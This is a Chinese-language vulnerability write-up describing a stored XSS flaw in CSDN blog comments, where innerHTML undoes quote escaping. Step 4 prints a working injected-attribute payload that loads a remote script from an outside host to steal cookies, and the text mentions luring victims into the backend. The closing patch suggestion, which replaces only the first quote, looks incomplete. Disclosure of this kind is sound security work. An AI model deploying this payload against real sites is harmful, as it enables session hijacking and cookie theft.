CSDN忽视浏览器特性而产生了漏洞,可惜无法大面积使用。 漏洞出现在博客,读取HTML内容时没有对引号进行转义,且无长度限制,成功获取cookie。
1、首先在我旧账号的博客里,发布如下两条评论( http://blog.csdn.net/llbbzh/article/details/9736979 )
2、用旧账号进入博客的评论管理后台( http://write.blog.csdn.net/feedback )
3、可以看到test属性已成功进入HTML标签
4、和前面提交过的 漏洞 一样,构造代码
"
class="MikuXSS"
onmousemove="$.getScript('http://mikuxss.sinaapp.com/NyaNya');$('.MikuXSS').hide();"
style="font-size:1px;width:100%;height:100%;position:absolute;left:0px;top:0px;cursor:default;
5、这个漏洞的成因是,CSDN的博客后端向HTML输出的是UBB代码,于是前端用这一句话来处理: formatFeedback(this.innerHTML)而虽然引号已转义为 ",但使用innerHTML读取文章内容时,会自动变回引号,导致过滤失效。
用旧账号再次登录后台(实际情况中可以诱拐攻击对象进入后台)
成功获取cookie 复方案: http://csdnimg.cn/pig/blog/write/scripts/feedback.js
把第10行的
this.innerHTML = formatFeedback(this.innerHTML);改为 this.innerHTML = formatFeedback(this.innerHTML.replace("\"","""));//只有一个反斜线。
查看更多关于CSDN XSS第三弹:忽视innerHTML特性导致xss - 网站安全的详细内容...